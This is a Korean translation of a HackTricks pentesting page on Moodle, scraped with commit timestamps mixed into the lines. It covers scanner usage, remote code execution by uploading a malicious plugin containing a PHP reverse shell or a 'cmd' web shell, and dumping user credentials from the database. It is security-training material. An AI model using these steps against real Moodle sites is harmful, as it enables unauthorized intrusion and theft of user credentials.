2022-05-24 00:07:19 +00:00
# Moodle
2022-04-28 16:01:33 +00:00
< details >
2024-02-18 14:48:35 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요< / strong > !< / summary >
2022-04-28 16:01:33 +00:00
2024-02-18 14:48:35 +00:00
다른 방법으로 HackTricks를 지원하는 방법:
2023-12-31 01:24:39 +00:00
2024-02-18 14:48:35 +00:00
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
- [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 구매하세요
- [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
- **💬 [Discord 그룹 ](https://discord.gg/hRep4RUj7f )** 또는 [텔레그램 그룹 ](https://t.me/peass )에 **가입**하거나 **트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )를 **팔로우**하세요.
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
< / details >
2024-02-18 14:48:35 +00:00
< figure > < img src = "../../.gitbook/assets/i3.png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-05-24 00:07:19 +00:00
2024-02-18 14:48:35 +00:00
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks** ](https://go.intigriti.com/hacktricks)에서 참여하여 최대 ** $100,000**의 바운티를 획득하세요!
2022-05-24 00:07:19 +00:00
2024-02-18 14:48:35 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
## 자동 스캔
2021-04-05 22:03:17 +00:00
2022-05-24 00:07:19 +00:00
### droopescan
2021-04-07 22:08:15 +00:00
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/< moodle_path > /
2024-02-10 21:30:13 +00:00
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
2021-04-07 22:08:15 +00:00
[+] No themes found.
[+] Possible version(s):
2024-02-10 21:30:13 +00:00
3.10.0-beta
2021-04-07 22:08:15 +00:00
[+] Possible interesting urls found:
2024-02-10 21:30:13 +00:00
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
2021-04-07 22:08:15 +00:00
[+] Scan finished (0:00:05.643539 elapsed)
```
2022-05-24 00:07:19 +00:00
### moodlescan
2021-04-07 22:08:15 +00:00
2024-02-18 14:48:35 +00:00
### moodlescan
2021-04-07 22:08:15 +00:00
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/< moodle_path > /
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
2024-02-10 21:30:13 +00:00
2021-04-07 22:08:15 +00:00
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
```
2022-05-24 00:07:19 +00:00
### CMSMap
2021-04-07 22:08:15 +00:00
2024-02-18 14:48:35 +00:00
### CMSMap
2021-04-07 22:08:15 +00:00
```bash
2022-10-27 15:22:10 +00:00
pip3 install git+https://github.com/dionach/CMSmap.git
2021-04-07 22:08:15 +00:00
cmsmap http://moodle.example.com/< moodle_path >
```
2022-05-24 00:07:19 +00:00
### CVEs
2021-04-07 22:08:15 +00:00
2024-02-18 14:48:35 +00:00
나는 자동 도구들이 moodle 버전에 영향을 미치는 취약점을 찾는 데 거의 **쓸모가 없다는 것을 발견했다** . 이를 확인할 수 있습니다 [**https://snyk.io/vuln/composer:moodle%2Fmoodle** ](https://snyk.io/vuln/composer:moodle%2Fmoodle )
2021-04-07 22:08:15 +00:00
2024-02-18 14:48:35 +00:00
## **RCE**
2021-04-07 22:08:15 +00:00
2024-02-18 14:48:35 +00:00
**매니저** 역할이 필요하며 ** "사이트 관리"** 탭 내에서 **플러그인을 설치할 수 있습니다** \*\*:\*\*
2021-04-07 22:08:15 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 447 ) . png > )
2021-04-07 22:08:15 +00:00
2024-02-18 14:48:35 +00:00
매니저이더라도 **이 옵션을 활성화해야 할 수도 있습니다** . moodle 권한 상승 PoC에서 확인할 수 있습니다: [https://github.com/HoangKien1020/CVE-2020-14321 ](https://github.com/HoangKien1020/CVE-2020-14321 ).
2021-04-07 22:08:15 +00:00
2024-02-18 14:48:35 +00:00
그런 다음, 다음 플러그인을 **설치할 수 있습니다** . 이 플러그인에는 클래식 pentest-monkey php r**ev shell**이 포함되어 있습니다 (_업로드하기 전에 압축을 풀고, revshell의 IP 및 포트를 변경하고 다시 압축해야 합니다_)
2021-04-07 22:08:15 +00:00
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
2024-02-18 14:48:35 +00:00
또는 "cmd" 매개변수를 사용하여 일반 PHP 쉘을 얻기 위해 [https://github.com/HoangKien1020/Moodle\_RCE ](https://github.com/HoangKien1020/Moodle\_RCE )에서 플러그인을 사용할 수 있습니다.
2021-04-07 22:08:15 +00:00
2024-02-18 14:48:35 +00:00
악의적인 플러그인을 실행하려면 다음에 액세스해야 합니다:
2021-04-07 22:08:15 +00:00
```bash
http://domain.com/< moodle_path > /blocks/rce/lang/en/block_rce.php?cmd=id
```
2022-05-24 00:07:19 +00:00
## POST
2021-04-07 22:08:15 +00:00
2024-02-10 21:30:13 +00:00
### 데이터베이스 자격 증명 찾기
2021-04-07 22:08:15 +00:00
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
2024-02-10 21:30:13 +00:00
### 데이터베이스에서 자격 증명 덤프하기
2021-04-05 22:03:17 +00:00
```bash
/usr/local/bin/mysql -u < username > --password=< password > -e "use moodle; select email,username,password from mdl_user; exit"
```
2024-02-18 14:48:35 +00:00
< figure > < img src = "../../.gitbook/assets/i3.png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-28 16:01:33 +00:00
2024-02-18 14:48:35 +00:00
**버그 바운티 팁**: **Intigriti**에 가입하여 해커들이 만든 프리미엄 **버그 바운티 플랫폼**에 참여하세요! [**https://go.intigriti.com/hacktricks** ](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 ** $100,000**의 바운티를 받아보세요!
2022-05-24 00:07:19 +00:00
2024-02-18 14:48:35 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
< details >
2024-02-18 14:48:35 +00:00
< summary >< strong > htARTE (HackTricks AWS Red Team Expert)</ strong > 를 통해 **제로부터 히어로까지 AWS 해킹 배우기** !</ summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2023-12-31 01:24:39 +00:00
2024-02-18 14:48:35 +00:00
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 구매하세요
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
* 💬 [**디스코드 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **가입**하거나 **트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**를 팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
< / details >